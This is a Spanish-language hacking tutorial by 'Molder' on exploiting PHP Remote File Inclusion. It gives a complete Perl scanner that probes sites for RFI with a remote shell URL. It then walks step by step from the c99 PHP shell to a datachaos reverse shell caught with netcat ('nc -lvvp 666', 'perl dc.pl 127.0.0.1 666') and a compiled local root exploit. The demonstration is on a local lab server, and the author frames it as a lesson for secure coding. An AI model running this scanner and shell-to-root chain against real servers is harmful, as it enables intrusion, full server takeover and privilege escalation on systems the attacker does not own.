Académique Documents
Professionnel Documents
Culture Documents
Esta ocacion tratare el tema de RFI que significa Remote file inclusion (Inclusion de archivo remoto), esto es una vulnerabilidad que afecta unicamente a paginas dinamicas programadas en PHP, consiste en enlazar archivos ubicados en un servidor remoto. Al igual que muchas bulneravilidades WEB esta tambien se deve a una mala programacion y validacion por parte del desarrollador. En palabras mas simples el RFI consiste en que un atacante aprovechando una mala programacio realizada sobre funciones de inclucion de archivos de PHP, este atacante manda a llamar un archivo en otro servidor el cual contiene scripts maliciosos que quedan incrustados en el codigo PHP original permitiendo tener el control de la aplicacion y del servidor. Otra explicacion (por mi amigo Pyro): RFI se aprovecha del uso irresponsable de las funciones include y require, las cuales, debido al limitado conocimiento del programador y las pocas o nulas validaciones que realiza antes de incluir una variable recibida por parametro de URL, pueden ser aprovechadas por usuarios maliciosos para incluir scripts programados para explotar dicha vulnerabilidad. Muchas ocaciones hemos visto paginas WEB que permanecen estaticas y que solo cambian el contenido en un area en particular. La seleccion del contenido que cambia casi siempre se manda a llamar mediante una variable GET (En la URL). Ejemplo: http://www.miweb.com/index.php?nav=home.php <------- Manda a llamar el home http://www.miweb.com/index.php?nav=otracosa.php <------- Manda a llamar otracosa Esto se logra gracias a que PHP cuenta con funciones de inclusion de archivos como require e include, estas funciones son de gran ayuda pero si no se maneja con cuidado puede comprometer nuestro sistema. <?php //En alguna seccion del codigo de la pagina aparece algo como esto include $_GET['nav']; ?> En el presente texto veremeos la forma de detectar si una WEB es vulnerable e iremos paso a paso atravez de una ataque, la practica la hago sobre un sistema operativo opensuse 11 en el cual corre apache 1.3.4, y con una WEBapp que he preparado . Para iniciar las pruebas es necesario tener conocimiento de algunos conceptos asi como contar con algunas herramientas y programas los cuales listo a continuacion.
Conceptos basicos: phpshell: Es un script programado en php el cual tiene como fin ejecutar comandos de shell en un servidor. Los phpshell mas famosos son "c99", c40, c57 Shell inversa(Reverse shell): Es un script desarrollado en cualquier lenguaje, esta se aloja en el servidor proporcionandonos una shell que se conecta a nosotroscon con el fin de evadir firewalls y routers. Local root exploit: Son aplicaciones ejecutables o interpetadas que ejecutan alguna vulneravilidad del sistema local que por lo regular es algun desboramientos de buffer (bufer overflows) o condiciones de carrera que finalmente nos permiten escalar privilegios. Herramientas y programas:
PHPShell c99.txt : Ya explique que es una phpshell!! Shell inversa datachaos dc.pl : Shell inversa desarrollada en lenguaje perl. Local root exploit: El correspondiente a la vercion del kernel del servidor atacado. netcat: Programa que permite abrir puertos TCP/UDP en un Host, quedando a la escucha en un puerto determinado y asociando una shell a ese puerto. perl
Burbuja Cultural Condiciones de carrera: Es cuando dos o mas procesos escriben o leen de un area compartida (Dispositivo, variable, fucnion, etc), donde la ejecucion de intrucciones de cada proceso dependera de la carrera entre ellos. Durante este lapso donde no existe la atomicidad se pueden obtener privilegios y escribir sobre archivos protegidos del sistema.
Como podemos ver en la imprecion de pantalla hemos ingredado la URL victima, la URL de nuestra phpshell y el string de busqueda, que es el que hemos mandamos a imprimir en nuestra php-shell. Para comprovar la vulnerabilidad abrimos la url devuelta por el escaner.
RFI-scan.pl #!/usr/bin/perl #Powered By Molder (Sombrero de paja) #Nota: el diccionario de paths RFI a sido extraido de varios sitios que publican url's vulnerables. #Impotamos las librerias necesarias con use. #LWP: este mdulo se usa para accesar servicios de internet como poner correo o leer una #pgina, maneja los objetos use HTTP::Request, use LWP::UserAgent, HTTP::Response . use LWP::UserAgent; #Quien se conecta al servidor use HTTP::Request; #Con esto pediremos la pagina como http. #permite dialogar con http. #por ejemplo incorpora la funcion get para pedir una pgina web (hacer una peticin http). use LWP::Simple; #print imprime en pantalla lo escrioto entre y \n indica un salto de linea. print "Escribe la URL a escanear (Ejemplo: http://www.dominio.com/)\n"; #<STDIN> obtiene datos desde el teclado y lo asigna a una variable. $host = <STDIN>; #chomp quita el ultimo caracter, como ingresamos desde el teclado quitara el ultimo intro chomp $host; print "\n"; # !~ Significa si no contiene, ^ indica principio de cadena, Por tanto evalu si no exite http al principio de la variable host. if($host !~ /^http:/) { $host = "http://".$host; #Si no existe lo agrega. }
#Lo mismo para la ultima diagonal, $ indica ultimo caracter. if($host !~ /\/$/) { $host = $host."/"; # Si no existe la agregamos. } print "Escribe la URL del exploit (Ejemplo: http://miservermaldito.com/miexploit.txt)\n";
$shell = <STDIN>; chomp $shell; print "\n"; if($shell !~ /^http:/) { $shell = "http://".$shell; } print "Ingresa la cadena de busqueda del eploit\n"; $cadena = <STDIN>; chomp $cadena; print "\n"; print "\nBuscando...\n\n"; #open abre un archivo y lo guarda en ARCHIVO open(ARCHIVO,'paths.txt') || die('No existe el archivo paths.txt\n'); #Recorre ARCHIVO linea por linea y no la devulbe en la variable defalt $_ while(<ARCHIVO>) { s /\n//g; #Quita cualquier \n s /\r//g; #Quita cualquier \r $path=$_; #$path obtiene el valor de $_ $urlexploit = $host.$path.$shell."?"; # Solicitamos la pagina $urlexploit my $request = HTTP::Request->new(GET=>$urlexploit); my $useragent = LWP::UserAgent->new(); $useragent->timeout(30); #Obtenemos la respuesta my $respuesta = $useragent->request($request); #Evaluamos si la respuesta fue satisfactoria if($respuesta->is_success) { #Si la respuesta contiene el string de busqueda...
if($respuesta->content =~ /$cadena/) { print "URL VULNERABLE!! EN: ".$urlexploit."\n"; $status = "vuln"; } } } #Cerramos el archivo close(ARCHIVO); #Si no existe la variable $status entonces... unless($status) { print "URL no vulnerable a RFI\n"; } Nota: El archovo paths.txt contiene algo como lo siguiente. Index.php?page= Index.php?pag= Index.php?include= etc...
La php-shell c99 tiene multiples funciones como listar archivos y directorias, crear archivos y carpetas, subir archivos, entre otras cosas. Primero aremos una prueba de ejecutar comandos de shell, pediremos que nos regrese la version de kernel del sistema operativo con el comando uname -a.
Nos responde: Linux linux-t3gk 2.6.25.16-0.1-pae #1 SMP 2008-08-21 00:34:25 +0200 i686 i686 i386 GNU/Linux por lo tanto el kernel es 2.6.25.16 asi que devemos buscar un local root exploit para esa version. Seguido de esto procedemos a subir nuestra shell inversa datachaos, lo aremos con el uploader de la php-shell c99. Nota: Tal vez el uploader no sirva en algunos servidores con php 5 devido a que la funcion $$HTTP_POST_FILES esta desactivada solo tendriamos que editar el fuente del phpshell cambiando la funcion por $_FILES. Ya que subimos datachaos.pl al servidor mediante la php-shell ejecutamos netcat en nuestra maquina local, poniendo a la escucha un puerto que sera por el que nos conectaremos al servidor atacado (puerto 666). Comando: nc -lvvp 666
Regresamos a la php-shell y ejecutamos datachaos pasandole como parametros nuestra ip y el puerto que pusimos a la escucha en netcat (la ip es local devido a k el demo se hace sobre un servidor instalado localmente). Perl dc.pl 127.0.0.1 666
Ya tenemos una shell remota, ahora solo falta acceder como root con ayuda de nuestro local root exploit, por el momento estamos como como usuario no privilegiado aun que aun asi podemos ejecutar comandos. Para escalar los privilegios (rootear) yo he descargado un local root exploit programado por Ramon de Carvalho Valle desde milw0rm.
Subimos el local root exploit al servidor con la php-shell y una vez que esta en el servidor verificamos con el comando ls desde netcat.
Nota: En este caso como podran ver el local root exploit que usare esta comprimido ademas de que cuenta con un archivo run.sh que se encarga de compilar el exploit, en caso de que solo tengamos el codigo fuente generalmente en lenguaje c se compila con gcc -o exploit exploit.c . Descpmprimimos el exploit:
Genera el archivo ejecutable del exploit ahora solo basta ejecutarlo para escalar privilegios:
Como podemos ver ahora al ingresar como modo privilegiado no nos pide el password ademas ejecutamos el comando id que muestra el userid y grupid con el que corremos la sesion.
0X06 DESPEDIDA
Programar aplicaciones seguras puede ser muy dificil sin embargo de esto depende la integridad de las aplicaciones que diseamos, por esta razon al presentar este manual de rfi espero que los lectores mejoren sus tecnicas de programacion al mismo tiempo que aprendan un poquito de algunas tecnicas de hackeo. Y como siempre digo la seguridad no solo es tecnologioa sino un habitos. Un agradecimiento a pyr0 que alguna vez me explico los conceptos de RFI y un saludo a toda la banda hackeril. by Molder msn: molder@aztlan-hack.org email: molder@aztlan-hack.org http://www.aztlan-hack.org